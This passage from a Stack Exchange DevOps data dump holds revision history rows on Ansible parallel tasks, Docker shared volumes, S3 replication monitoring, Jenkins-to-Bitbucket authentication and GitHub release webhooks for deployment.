&#xA;&#xA;&#xA;  [1]: https://github.com/ocd-scm/ocd-environment-webhook/blob/master/hooks-release.json&#xA;  [2]: https://github.com/adnanh/webhook&#xA;  [3]: https://i.stack.imgur.com/4Tu0E.png&#xA;  [4]: https://github.com/github/hub&#xA;  [5]: https://github.com/ocd-scm/ocd-meta&#xA;  [6]: https://github.com/ocd-scm/ocd-tools/blob/33791b92bb202f593dea1001a7ea802adad646a9/Dockerfile#L51&#xA;  [7]: https://github.com/ocd-scm/ocd-environment-webhook/blob/6d9c3904929b7b8a6e9fd2883bce5b40f43952d3/Dockerfile#L14" ContentLicense="CC BY-SA 4.0" />
  <row Id="21700" PostHistoryTypeId="5" PostId="5115" RevisionGUID="5d39afc5-0619-4a3b-9245-52717eed1292" CreationDate="2019-04-10T16:35:21.570" UserId="743" Comment="deleted 9 characters in body" Text="Amazon S3 has a cross-region replication which will handle copy of new/updated objects to additional region.&#xD;&#xA;&#xD;&#xA;The problem is that solution does not provide visibility on state for replication process, for example at the moment there's no way to easily monitor missing objects on destination or any possible permission issues that can interfere with the process and can result with replication not doing it's job, as well missing feedback for replication lag.&#xD;&#xA;&#xD;&#xA;We found several tools similar to CRR Monitor https://aws.amazon.com/answers/infrastructure-management/crr-monitor/&#xD;&#xA;but we didn't have good experience with it as we manage tens of millions of objects which can cost several thousand of dollars per month for CloudWatch events, as well as additional management for services required by solution (DinamoDB, Kinesis etc.) another layer of &quot;monitoring the monitor&quot; required.&#xD;&#xA;&#xD;&#xA;For now we are using daily comparison of S3 objects inventory between source and destination using AWS Athena query, which also feels like a hack and it's not optimal for problem detection as inventory generated with daily frequency.&#xD;&#xA;&#xD;&#xA;I hope to see some feedback, suggestions, ideas or experience for alternatives. Ideal solution would be managed or &quot;serverless&quot; solution which will improve visibility on the process and will provide fast detection of errors." ContentLicense="CC BY-SA 4.0" />
  <row Id="21712" PostHistoryTypeId="2" PostId="6848" RevisionGUID="85a46df4-7cd5-4908-866e-c426876a538d" CreationDate="2019-04-11T07:54:38.460" UserId="13405" Text="The rationale to have feature toggles is not something for developers to decide. This is something for product owners to care. Developers enable this change in the most sustainable and safe manner. I critique this very question." ContentLicense="CC BY-SA 4.0" />
  <row Id="21718" PostHistoryTypeId="50" PostId="6555" RevisionGUID="48396efa-b9b2-40e1-a342-839fcdaeff8e" CreationDate="2019-04-11T10:01:40.497" UserId="-1" />
  <row Id="21720" PostHistoryTypeId="5" PostId="4983" RevisionGUID="9909dadd-6c49-41de-bda3-7dde0c13f5b3" CreationDate="2019-04-11T15:39:03.580" UserId="5354" Comment="add excellent example from one of the links" Text="It is possible to achieve this using `async` mode. Please find some references for how to do this below.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Refs:&#xD;&#xA;&#xD;&#xA; * http://toroid.org/ansible-parallel-dispatch&#xD;&#xA; * https://blog.crisp.se/2018/01/27/maxwenzin/how-to-run-ansible-tasks-in-parallel&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;- name: Run tasks in parallel&#xD;&#xA;  hosts: localhost&#xD;&#xA;  connection: local&#xD;&#xA;  gather_facts: no&#xD;&#xA;  tasks:&#xD;&#xA;    - name: Pretend to create instances&#xD;&#xA;      command: &quot;sleep {{ item }}&quot;  # Instead of calling a long running operation at a cloud provider, we just sleep.&#xD;&#xA;      with_items:&#xD;&#xA;        - 6&#xD;&#xA;        - 8&#xD;&#xA;        - 7&#xD;&#xA;      register: _create_instances&#xD;&#xA;      async: 600  # Maximum runtime in seconds. Adjust as needed.&#xD;&#xA;      poll: 0  # Fire and continue (never poll)&#xD;&#xA;&#xD;&#xA;    - name: Wait for creation to finish&#xD;&#xA;      async_status:&#xD;&#xA;        jid: &quot;{{ item.ansible_job_id }}&quot;&#xD;&#xA;      register: _jobs&#xD;&#xA;      until: _jobs.finished&#xD;&#xA;      delay: 5  # Check every 5 seconds. Adjust as you like.&#xD;&#xA;      retries: 10  # Retry up to 10 times. Adjust as needed.&#xD;&#xA;      with_items: &quot;{{ _create_instances.results }}&quot;&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="21721" PostHistoryTypeId="24" PostId="4983" RevisionGUID="9909dadd-6c49-41de-bda3-7dde0c13f5b3" CreationDate="2019-04-11T15:39:03.580" Comment="Proposed by 5354 approved by 4540 edit id of 976" ContentLicense="CC BY-SA 4.0" />
  <row Id="21725" PostHistoryTypeId="50" PostId="3999" RevisionGUID="359f55af-da24-446c-add7-8c16de047273" CreationDate="2019-04-11T23:02:50.553" UserId="-1" />
  <row Id="21726" PostHistoryTypeId="2" PostId="6851" RevisionGUID="a90a9fbd-8036-4d66-94ed-2f092e5855f1" CreationDate="2019-04-12T01:33:26.003" UserId="13424" Text="Project is a Rancher specific concept. A Project can have multiple Kubernetes namespaces.&#xD;&#xA;&#xD;&#xA;The System Project has all the Kubernetes system components like kube-dns, ingress etc. Think of it like System Services running on a machine/laptop.&#xD;&#xA;&#xD;&#xA;Default project is where you can launch your workloads to start with. Similar to a scratchpad.&#xD;&#xA;&#xD;&#xA;You can create new projects too. For example, Web App, Database, etc. Or it could be based on different users using the cluster. Project-For-Bob, Project-For-John." ContentLicense="CC BY-SA 4.0" />
  <row Id="21727" PostHistoryTypeId="2" PostId="6852" RevisionGUID="4e37e2f6-aa1b-4fc1-a309-55d046f00767" CreationDate="2019-04-12T09:50:31.413" UserId="13386" Text="I've two containers : **nginx** &amp; **angular**. The **angular** container contains the code and is automatically pulled from the registry when there is a new version (with watchtower).&#xD;&#xA;&#xD;&#xA;I set up a Shared Volume between **angular** &amp; **nginx** to share the code from **angular** to **nginx**.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;  ### Angular #########################################&#xD;&#xA;  angular:&#xD;&#xA;    image: registry.gitlab.com/***/***:staging&#xD;&#xA;    networks:&#xD;&#xA;      - frontend&#xD;&#xA;      - backend&#xD;&#xA;    volumes:&#xD;&#xA;      - client:/var/www/client&#xD;&#xA;&#xD;&#xA;  ### NGINX Server #########################################&#xD;&#xA;  nginx:&#xD;&#xA;    image: registry.gitlab.com/***/***/***:staging&#xD;&#xA;    volumes:&#xD;&#xA;      - client:/var/www/client&#xD;&#xA;    depends_on:&#xD;&#xA;      - angular&#xD;&#xA;    networks:&#xD;&#xA;      - frontend&#xD;&#xA;      - backend&#xD;&#xA;&#xD;&#xA;volumes:&#xD;&#xA;  client:&#xD;&#xA;networks:&#xD;&#xA;  backend:&#xD;&#xA;  frontend:&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;When I build &amp; run for the first time the environment, everything works.&#xD;&#xA;The problem is when there is a new version of the **client**, the image is pulled, the container is re-built and the new code version is inside the **angular** container, but in the **nginx** container it still the old code version of the **client**.&#xD;&#xA;&#xD;&#xA;The shared volumes does not let me do what i want because we can not specify who is the host, is it possible to mount a volumes from a container to an other ?&#xD;&#xA;&#xD;&#xA;Thanks in advance." ContentLicense="CC BY-SA 4.0" />
  <row Id="21728" PostHistoryTypeId="1" PostId="6852" RevisionGUID="4e37e2f6-aa1b-4fc1-a309-55d046f00767" CreationDate="2019-04-12T09:50:31.413" UserId="13386" Text="Docker - Mount a volume from a container to an other (equivalent volumes_from) in docker-compose 3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21729" PostHistoryTypeId="3" PostId="6852" RevisionGUID="4e37e2f6-aa1b-4fc1-a309-55d046f00767" CreationDate="2019-04-12T09:50:31.413" UserId="13386" Text="&lt;docker&gt;&lt;docker-compose&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21741" PostHistoryTypeId="2" PostId="6856" RevisionGUID="2f10170f-e695-46fb-97b3-69c70d1bfba1" CreationDate="2019-04-12T15:52:56.440" UserId="13440" Text="What's the &quot;best-practice&quot; approach to authenticate a CI tool like Jenkins or Bamboo to BitBucket? I started with App Passwords because it's cheap and easy, but I hate that it's tied to my account because if I leave the company, the CI/CD integration with Bitbucket gets killed.&#xD;&#xA;&#xD;&#xA;Is there anything that isn't scoped to a specific user?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21742" PostHistoryTypeId="1" PostId="6856" RevisionGUID="2f10170f-e695-46fb-97b3-69c70d1bfba1" CreationDate="2019-04-12T15:52:56.440" UserId="13440" Text="Best Practice Authenticating Jenkins to Bitbucket to Access Team Repository" ContentLicense="CC BY-SA 4.0" />
  <row Id="21743" PostHistoryTypeId="3" PostId="6856" RevisionGUID="2f10170f-e695-46fb-97b3-69c70d1bfba1" CreationDate="2019-04-12T15:52:56.440" UserId="13440" Text="&lt;jenkins&gt;&lt;bitbucket&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21744" PostHistoryTypeId="50" PostId="2640" RevisionGUID="e5779f2b-b823-40c9-8630-005d1950badf" CreationDate="2019-04-12T16:02:55.610" UserId="-1" />
  <row Id="21747" PostHistoryTypeId="50" PostId="6588" RevisionGUID="f25b3f25-62a2-47b1-92a1-45c54225079c" CreationDate="2019-04-12T23:02:40.553" UserId="-1" />
  <row Id="21751" PostHistoryTypeId="50" PostId="6552" RevisionGUID="02daad5f-a821-419a-91ef-61c2491c04a3" CreationDate="2019-04-13T00:02:30.387" UserId="-1" />
  <row Id="21752" PostHistoryTypeId="2" PostId="6857" RevisionGUID="a7da21fa-1b82-4f9a-b4e3-727ba1776108" CreationDate="2019-04-13T06:56:25.447" UserId="13378" Text="ok, if instead of using the command line:  ansible-playbook -u root --private -key ~ / .ssh / id_rsa centos7.yml -i xxx.xxx.xxx.xxx,  i use: ansible-playbook -u root centos7.yml -i xxx.xxx.xxx.xxx, it works." ContentLicense="CC BY-SA 4.0" />
  <row Id="21754" PostHistoryTypeId="50" PostId="5437" RevisionGUID="9e9a34f0-0276-45e5-9905-c7aa533f628a" CreationDate="2019-04-13T10:02:10.413" UserId="-1" />
  <row Id="21755" PostHistoryTypeId="2" PostId="6859" RevisionGUID="a3482550-8b6b-4e7f-be5a-92663b3f88df" CreationDate="2019-04-13T14:40:22.147" UserId="47" Text="In an enterprise environment (but even in a personal one, I assume tech savvy enough users to do that) it's generally a good idea to have dedicated accounts created specifically for automated tools execution.&#xD;&#xA;&#xD;&#xA;I'd even recommend one account per tool because different tools may have different permission requirements and it's generally a good idea to limit the permission scope to the minimum required, for security reasons. In large enterprises this is often mandatory, prescribed by policies.&#xD;&#xA;&#xD;&#xA;In some cases it might be necessary to have different tools executed under the same account, in which case such combo accounts would be required. Again, one per specific use case.&#xD;&#xA;&#xD;&#xA;If you want a parallel - take a look at a Linux system, for example - different system accounts used for different purposes. Or service accounts, [at Google][1] for example.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://cloud.google.com/iam/docs/understanding-service-accounts" ContentLicense="CC BY-SA 4.0" />
  <row Id="21756" PostHistoryTypeId="5" PostId="6857" RevisionGUID="6c5c26ad-c7c7-43e7-9b7d-1aa2328d015e" CreationDate="2019-04-13T15:19:28.210" UserId="13450" Comment="Marking commands." Text="ok, if instead of using the command line:  &#xD;&#xA;`ansible-playbook -u root --private -key ~ / .ssh / id_rsa centos7.yml -i xxx.xxx.xxx.xxx`,  &#xD;&#xA;&#xD;&#xA;I use: &#xD;&#xA;&#xD;&#xA;`ansible-playbook -u root centos7.yml -i xxx.xxx.xxx.xxx`, &#xD;&#xA;&#xD;&#xA;It works." ContentLicense="CC BY-SA 4.0" />
  <row Id="21757" PostHistoryTypeId="24" PostId="6857" RevisionGUID="6c5c26ad-c7c7-43e7-9b7d-1aa2328d015e" CreationDate="2019-04-13T15:19:28.210" Comment="Proposed by 13450 approved by -1 edit id of 978" ContentLicense="CC BY-SA 4.0" />
  <row Id="21758" PostHistoryTypeId="5" PostId="6857" RevisionGUID="3a503e7d-fab4-49a2-8d42-f35f8c658959" CreationDate="2019-04-13T15:19:28.210" UserId="40" Comment="deleted 4 characters in body" Text="If instead of using the command line:  &#xD;&#xA;`ansible-playbook -u root --private -key ~ / .ssh / id_rsa centos7.yml -i xxx.xxx.xxx.xxx`,  &#xD;&#xA;&#xD;&#xA;I use: &#xD;&#xA;&#xD;&#xA;`ansible-playbook -u root centos7.yml -i xxx.xxx.xxx.xxx`, &#xD;&#xA;&#xD;&#xA;It works." ContentLicense="CC BY-SA 4.0" />
  <row Id="21763" PostHistoryTypeId="5" PostId="3860" RevisionGUID="22e15ea6-4eea-4065-9f40-3ebc3746bed1" CreationDate="2019-04-13T15:50:28.663" UserId="13450" Comment="Improve description." Text="I'm running Ansible 2.2, but can upgrade if it helps. &#xD;&#xA;&#xD;&#xA;I saw [this][1] and was pretty excited, but it doesn't seem to be in this (or any) version of Ansible documentation.&#xD;&#xA;&#xD;&#xA;The problem I'm trying to solve is I've got 1000 users that I need to manage on a Centos box. &#xD;&#xA;&#xD;&#xA;It takes quite a while to run this task serially.  And even more annoying, everything shows up as changed because the &quot;expires&quot; command on the user module always marks the thing as changed. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;[this][2] also looked promising, but it took the same amount of time to run each command in the with_items loop and didn't go any faster (I never bothered to wait long enough to get to the end).&#xD;&#xA;&#xD;&#xA;Skipping tasks is fast now (a lot faster than it was in Ansible 2.0), if I can't figure out how to make this work in parallel, I think I'll go back and figure out how to skip pointless tasks and if all else fails, I'll write my own module.  But it seems like I should be able to do all this faster in Ansible.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;This is what I want to run in parallel,  `host_authorizations` is a list of usernames and other data.  &#xD;&#xA;&#xD;&#xA;      - name: Create/modify OS user accounts&#xD;&#xA;        user: name={{ item.username }} group=sshusers shell=/bin/bash home=&quot;/home/selinux-modules/{{ item.username }}&quot; state=present expires={{item.expiredate|default(omit)}}&#xD;&#xA;        with_items: &quot;{{ host_authorizations }}&quot;&#xD;&#xA;        tags: full_maintenance&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/ansible/ansible/issues/12086&#xD;&#xA;  [2]: http://docs.ansible.com/ansible/latest/user_guide/playbooks_async.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="21764" PostHistoryTypeId="24" PostId="3860" RevisionGUID="22e15ea6-4eea-4065-9f40-3ebc3746bed1" CreationDate="2019-04-13T15:50:28.663" Comment="Proposed by 13450 approved by -1 edit id of 979" ContentLicense="CC BY-SA 4.0" />
  <row Id="21765" PostHistoryTypeId="4" PostId="3860" RevisionGUID="7aed3e07-4abe-4460-b5c1-965a66b4470c" CreationDate="2019-04-13T15:50:28.663" UserId="40" Comment="edited title" Text="Is there a way to run with_items loops in parallel in Ansible?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21766" PostHistoryTypeId="50" PostId="6445" RevisionGUID="7d5b69f1-706e-4095-923d-ce3ce12fb46a" CreationDate="2019-04-13T17:01:00.157" UserId="-1" />
  <row Id="21767" PostHistoryTypeId="50" PostId="5183" RevisionGUID="775e6130-c64e-4c4b-a0f6-5dcac79deb95" CreationDate="2019-04-13T18:02:10.433" UserId="-1" />
  <row Id="21768" PostHistoryTypeId="50" PostId="4748" RevisionGUID="66308182-15be-4a8c-8932-99700c7bc4db" CreationDate="2019-04-13T20:01:00.177" UserId="-1" />
  <row Id="21769" PostHistoryTypeId="50" PostId="6604" RevisionGUID="1744c983-85d1-4892-826f-0c43e009d307" CreationDate="2019-04-13T23:02:50.597" UserId="-1" />
  <row Id="21774" PostHistoryTypeId="50" PostId="5430" RevisionGUID="f912a9f4-462b-4c1b-bd40-3c9610b5fd06" CreationDate="2019-04-14T07:01:55.390" UserId="-1" />
  <row Id="21778" PostHistoryTypeId="5" PostId="6829" RevisionGUID="369fe402-4d96-49de-8636-89772441c013" CreationDate="2019-04-14T09:49:37.087" UserId="10599" Comment="deleted 4 characters in body; added 4 characters in body" Text="Google’s free [computing course][1] says:&#xD;&#xA;&#xD;&#xA;&gt; The US National Institute of Standards and Technology created a&#xD;&#xA;&gt; definition of cloud, although, there is nothing US specific about it.&#xD;&#xA;&gt; Here it is, cloud computing is a way of using I.T. that has these five&#xD;&#xA;&gt; equally important traits. First, you get computing resources on-demand&#xD;&#xA;&gt; and self-service. All you have to do is use a simple interface and you&#xD;&#xA;&gt; get the processing power, storage, and network you need, with no need&#xD;&#xA;&gt; for human intervention. Second, you access these resources over the&#xD;&#xA;&gt; net from anywhere you want. Third, the provider of those resources has&#xD;&#xA;&gt; a big pool of them and allocates them to customers out of that pool.&#xD;&#xA;&gt; That allows the provider to get economies of scale by buying in bulk&#xD;&#xA;&gt; and pass the savings on to the customers. Customers don't have to know&#xD;&#xA;&gt; or care about the exact physical location of those resources. Fourth,&#xD;&#xA;&gt; the resources are elastic. If you need more resources you can get&#xD;&#xA;&gt; more, rapidly. If you need less, you can scale back. And last, the&#xD;&#xA;&gt; customers pay only for what they use or reserve as they go. If they&#xD;&#xA;&gt; stop using resources, they stop paying.&#xD;&#xA;&#xD;&#xA;This seems to be taken from the document at https://www.nist.gov/news-events/news/2011/10/final-version-nist-cloud-computing-definition-published&#xD;&#xA;&#xD;&#xA;Using DevOps software with virtual machines, with or without containers, can happen without using cloud. In a similar manner, you can open a corporate account on a public cloud and not do DevOps at all. This happens more than we might expect when big companies are migrating legacy systems into the cloud where they simply have sysadmins or other Ops folks use the web interfaces to the cloud IaaS to manually commission VMs that they then manually configure. I have met teams that are convinced that they are doing DevOps when they are simply doing Ops with a few specialist Cloud Engineers who handle setting Virtual Private Cloud (VPS) meaning private connectivity into the cloud (e.g, VPN or a dedicated connection) and IAM (Identity and Access Management). &#xD;&#xA;&#xD;&#xA;IMHO cloud and devops are most definitely not the same thing but are at their best when combined. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.coursera.org/learn/gcp-fundamentals" ContentLicense="CC BY-SA 4.0" />
  <row Id="21779" PostHistoryTypeId="5" PostId="6841" RevisionGUID="f1dcffa3-d615-4d4d-82a1-acb805d8ff78" CreationDate="2019-04-14T09:53:27.357" UserId="10599" Comment="deleted 1 character in body" Text="[Here][1] is a Webhook rule to catch Github release events and run a custom bash script. It is run by [adnanh/webhook][2] which is a small go app that can run your deployment script. You then configure GitHub to send release events as per this screenshot:&#xA;&#xA;[![enter image description here][3]][3]&#xA;&#xA;You can then use the github [hub][4] command line tool to create releases with a name that matches the regex in the hook rule e.g., `v1.2.3`. That will fire the release webhook. That can be caught by your deploy script running in a container on your server. Your deploy script can take the release number parsed from the release event payload. You deploy script can then git pull the git tag `v1.2.3` to run your code. &#xA;&#xA;Using similar webhooks is how [OCD][5] can drive kubernetes from configuration in GitHub. We have OCD deploy all our apps on AWS based on configuration and tags in GitHub. You can use the same techniques to drive your small deployment scripts quite easily. All you need to do is create docker container with adnanh/webhook, the json config and your deploy script. [Here][6] is a where we install webhook into a container and [here][7] is where we copy our rules. As it is a go app it doesn’t need a lot of memory to be able to fully automate your software based on git release events. &#xA;&#xA;&#xA;  [1]: https://github.com/ocd-scm/ocd-environment-webhook/blob/master/hooks-release.json&#xA;  [2]: https://github.com/adnanh/webhook&#xA;  [3]: https://i.stack.imgur.com/4Tu0E.png&#xA;  [4]: https://github.com/github/hub&#xA;  [5]: https://github.com/ocd-scm/ocd-meta&#xA;  [6]: https://github.com/ocd-scm/ocd-tools/blob/33791b92bb202f593dea1001a7ea802adad646a9/Dockerfile#L51&#xA;  [7]: https://github.com/ocd-scm/ocd-environment-webhook/blob/6d9c3904929b7b8a6e9fd2883bce5b40f43952d3/Dockerfile#L14" ContentLicense="CC BY-SA 4.0" />
  <row Id="21780" PostHistoryTypeId="5" PostId="6841" RevisionGUID="a896c2f1-12a9-4c00-89d5-497527dd1e66" CreationDate="2019-04-14T09:59:31.243" UserId="10599" Comment="added 500 characters in body" Text="[Here][1] is a Webhook rule to catch Github release events and run a custom bash script. It is run by [adnanh/webhook][2] which is a small go app that can run your deployment script. You then configure GitHub to send release events as per this screenshot:&#xA;&#xA;[![enter image description here][3]][3]&#xA;&#xA;You can then use the github [hub][4] command line tool to create releases with a name that matches the regex in the hook rule e.g., `v1.2.3`. That will fire the release webhook. That can be caught by your deploy script running in a container on your server. Your deploy script can take the release number parsed from the release event payload. You deploy script can then git pull the git tag `v1.2.3` to run your code. Note that you don’t have to use the hub cli a release event will also be fired if you push a tag to your repo. We find it helpful to have the tag and the full release (where you can attach automatically generated release notes using [github_changelog_generator][5] see this example [script][6]).&#xA;&#xA;Using similar webhooks is how [OCD][7] can drive kubernetes from configuration in GitHub. We have OCD deploy all our apps on AWS based on configuration and tags in GitHub. You can use the same techniques to drive your small deployment scripts quite easily. All you need to do is create docker container with adnanh/webhook, the json config and your deploy script. [Here][8] is a where we install webhook into a container and [here][9] is where we copy our rules. As it is a go app it doesn’t need a lot of memory to be able to fully automate your software based on git release events. &#xA;&#xA;&#xA;  [1]: https://github.com/ocd-scm/ocd-environment-webhook/blob/master/hooks-release.json&#xA;  [2]: https://github.com/adnanh/webhook&#xA;  [3]: https://i.stack.imgur.com/4Tu0E.png&#xA;  [4]: https://github.com/github/hub&#xA;  [5]: https://github.com/github-changelog-generator/github-changelog-generator&#xA;  [6]: https://github.com/sobolevn/git-secret/blob/44a8745e0295d6e35f33346db1300216714e8e13/.ci/github_release_script.sh#L17&#xA;  [7]: https://github.com/ocd-scm/ocd-meta&#xA;  [8]: https://github.com/ocd-scm/ocd-tools/blob/33791b92bb202f593dea1001a7ea802adad646a9/Dockerfile#L51&#xA;  [9]: https://github.com/ocd-scm/ocd-environment-webhook/blob/6d9c3904929b7b8a6e9fd2883bce5b40f43952d3/Dockerfile#L14" ContentLicense="CC BY-SA 4.0" />
  <row Id="21781" PostHistoryTypeId="5" PostId="6841" RevisionGUID="f940528f-5a0e-4161-8d5d-e52c7a84efb4" CreationDate="2019-04-14T10:04:31.610" UserId="10599" Comment="added 29 characters in body" Text="[Here][1] is a Webhook rule to catch Github release events and run a custom bash script. It is run by [adnanh/webhook][2] which is a small go app that can run your deployment script. You then configure GitHub to send release events as per this screenshot:&#xA;&#xA;[![enter image description here][3]][3]&#xA;&#xA;You can then use the github [hub][4] command line tool to create releases with a name that matches the regex in the hook rule e.g., `v1.2.3`. That will fire the release webhook. That can be caught by your deploy script running in a container on your server. Your deploy script can take the release number parsed from the release event payload. You deploy script can then git pull the git tag `v1.2.3` to run your code. Note that you don’t have to use the hub cli a release event will also be fired if you push a tag to your repo using git. We find it helpful to use the hub tool that creates the tag and a github release. You can attach automatically generated release notes using [github_changelog_generator][5] see this example [script][6]. &#xA;&#xA;Using similar webhooks is how [OCD][7] can drive kubernetes from configuration in GitHub. We have OCD deploy all our apps on AWS based on configuration and tags in GitHub. You can use the same techniques to drive your small deployment scripts quite easily. All you need to do is create docker container with adnanh/webhook, the json config and your deploy script. [Here][8] is a where we install webhook into a container and [here][9] is where we copy our rules. As it is a go app it doesn’t need a lot of memory to be able to fully automate your software based on git release events. &#xA;&#xA;&#xA;  [1]: https://github.com/ocd-scm/ocd-environment-webhook/blob/master/hooks-release.json&#xA;  [2]: https://github.com/adnanh/webhook&#xA;  [3]: https://i.stack.imgur.com/4Tu0E.png&#xA;  [4]: https://github.com/github/hub&#xA;  [5]: https://github.com/github-changelog-generator/github-changelog-generator&#xA;  [6]: https://github.com/sobolevn/git-secret/blob/44a8745e0295d6e35f33346db1300216714e8e13/.ci/github_release_script.sh#L17&#xA;  [7]: https://github.com/ocd-scm/ocd-meta&#xA;  [8]: https://github.com/ocd-scm/ocd-tools/blob/33791b92bb202f593dea1001a7ea802adad646a9/Dockerfile#L51&#xA;  [9]: https://github.com/ocd-scm/ocd-environment-webhook/blob/6d9c3904929b7b8a6e9fd2883bce5b40f43952d3/Dockerfile#L14" ContentLicense="CC BY-SA 4.0" />
  <row Id="21788" PostHistoryTypeId="5" PostId="6841" RevisionGUID="fd4e7e9e-ec9c-40a2-bcc7-0e1b811500db" CreationDate="2019-04-14T16:04:26.390" UserId="10599" Comment="deleted 7 characters in body; edited body" Text="[Here][1] is a Webhook rule to catch Github release events and run a custom bash script. It is run by [adnanh/webhook][2] which is a small go app that can run your deployment script. You then configure GitHub to send release events as per this screenshot:&#xA;&#xA;[![enter image description here][3]][3]&#xA;&#xA;You can then use the github [hub][4] command line tool to create releases with a name that matches the regex in the hook rule e.g., `v1.2.3`. That will fire the release webhook. That can be caught by your deploy script running in a container on your server. Your deploy script can take the release number parsed from the release event payload. It can then git pull the git tag `v1.2.3` launch your code. Note that you don’t have to use the hub cli a release event will also be fired if you push a tag to your repo using regular git. We find it helpful to use the hub tool that creates the tag and a github release. You can attach automatically generated release notes using [github_changelog_generator][5] see this example [script][6]. &#xA;&#xA;Using similar webhooks is how [OCD][7] can drive kubernetes from configuration in GitHub. We have OCD deploy all our apps on AWS based on configuration and tags in GitHub. You can use the same techniques to drive your small deployment scripts quite easily. All you need to do is create docker container with adnanh/webhook, the json config and your deploy script. [Here][8] is a where we install webhook into a container and [here][9] is where we copy our rules. As it is a go app it doesn’t need a lot of memory to be able to fully automate your software based on git webhook events. &#xA;&#xA;&#xA;  [1]: https://github.com/ocd-scm/ocd-environment-webhook/blob/master/hooks-release.json&#xA;  [2]: https://github.com/adnanh/webhook&#xA;  [3]: https://i.stack.imgur.com/4Tu0E.png&#xA;  [4]: https://github.com/github/hub&#xA;  [5]: https://github.com/github-changelog-generator/github-changelog-generator&#xA;  [6]: https://github.com/sobolevn/git-secret/blob/44a8745e0295d6e35f33346db1300216714e8e13/.ci/github_release_script.sh#L17&#xA;  [7]: https://github.com/ocd-scm/ocd-meta&#xA;  [8]: https://github.com/ocd-scm/ocd-tools/blob/33791b92bb202f593dea1001a7ea802adad646a9/Dockerfile#L51&#xA;  [9]: https://github.com/ocd-scm/ocd-environment-webhook/blob/6d9c3904929b7b8a6e9fd2883bce5b40f43952d3/Dockerfile#L14" ContentLicense="CC BY-SA 4.0" />
  <row Id="21790" PostHistoryTypeId="2" PostId="6863" RevisionGUID="990e8f04-9fea-4c7e-8001-ee8971e21f3a" CreationDate="2019-04-14T23:16:01.103" UserId="13461" Text="Im considering what is better and easier to use for CI/CD pipeline between Jenkins and AWS CodeDeploy.&#xD;&#xA;&#xD;&#xA;e.g. jenkins server request webhook to git repo(github), and deploy to EC2.&#xD;&#xA;&#xD;&#xA;e.g. When push to git repo, deploy to EC2 go through codeDeploy.&#xD;&#xA;  &#xD;&#xA;Thank you for your help!!" ContentLicense="CC BY-SA 4.0" />
  <row Id="21791" PostHistoryTypeId="1" PostId="6863" RevisionGUID="990e8f04-9fea-4c7e-8001-ee8971e21f3a" CreationDate="2019-04-14T23:16:01.103" UserId="13461" Text="what is better between Jenkins &amp; AWS CodeDeploy for CI/CD" ContentLicense="CC BY-SA 4.0" />
  <row Id="21792" PostHistoryTypeId="3" PostId="6863" RevisionGUID="990e8f04-9fea-4c7e-8001-ee8971e21f3a" CreationDate="2019-04-14T23:16:01.103" UserId="13461" Text="&lt;amazon-web-services&gt;&lt;jenkins-pipeline&gt;&lt;cicd&gt;&lt;aws-codedeploy&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21793" PostHistoryTypeId="5" PostId="6457" RevisionGUID="908c2b8f-2141-4d30-b14e-78d721695a12" CreationDate="2019-04-15T02:11:11.003" UserId="13450" Comment="Improve description." Text="I think there is a way to do this on [docker][1]:&#xD;&#xA;&#xD;&#xA;&gt;As of Docker 1.10 User Namespaces are supported directly by the docker daemon. This feature allows for the root user in a container to be mapped to a **non uid-0** user outside the container, which can help to mitigate the risks of container breakout. This facility is available but not enabled by default.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;You can map the root user inside docker container to specific user from the host machine (uid).  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/engine/security/security/#/docker-daemon-attack-surface" ContentLicense="CC BY-SA 4.0" />
  <row Id="21794" PostHistoryTypeId="24" PostId="6457" RevisionGUID="908c2b8f-2141-4d30-b14e-78d721695a12" CreationDate="2019-04-15T02:11:11.003" Comment="Proposed by 13450 approved by 40, 46 edit id of 981" ContentLicense="CC BY-SA 4.0" />
  <row Id="21795" PostHistoryTypeId="5" PostId="4753" RevisionGUID="08e0069b-6709-4241-9735-8377b4c44ab9" CreationDate="2019-04-15T02:11:15.083" UserId="13450" Comment="Improve description." Text="having &quot;ab&quot;used Jenkins to be many things, the most sensible (IMHO) you can do is expose monitoring dashboards via build report page.&#xD;&#xA;I think you should not even put Jenkins and monitoring under the same url, due to the &quot;who will guard the guard&quot; problem.&#xD;&#xA;&#xD;&#xA;Also, nowadays monitoring tools are too versatile and have too many &quot;faces&quot; (a face for each characteristic user, and some specific users prefer to have their own personal &quot;face&quot; to monitoring)&#xD;&#xA;About &quot;reporting&quot; I don't know what do you mean. if its reporting of builds statuses - READ ON.&#xD;&#xA;Also there are other things to let user go through (logs, alerts, test reports)&#xD;&#xA;&#xD;&#xA;So what I would suggest to address monitoring visibility is:&#xD;&#xA;&#xD;&#xA; 1. monitor your Jenkins in your monitoring :) (builds, statuses, etc.)&#xD;&#xA; 2. define monitoring url inside Jenkins (e.g. as Global Env Variable)&#xD;&#xA; 3. let's assume you have a job that deploys service `$svc` on environment `$env`. using Groovy you can generate:&#xD;&#xA;    1. generate a url to point at that monitoring service &quot;dashboard&quot; for that service in that env. let's call it `serviceMonitorUrl`&#xD;&#xA;    1. `environmentMonitorUrl`, and others&#xD;&#xA;    1. using `addSummary` and related stuff you can add to the build report a list of links to monitoring&#xD;&#xA;    1. you can decorate your build history column with &quot;labels&quot; pointing at branch, env, hash, whatever&#xD;&#xA;    1. your userdom will get build page with those links, and will be able to &quot;click&quot; them.&#xD;&#xA;   &#xD;&#xA;Having said that, there are Jenkins pipelines visualizations you can also use to visualize Jenkins jobs statuses, etc. e.g. [this 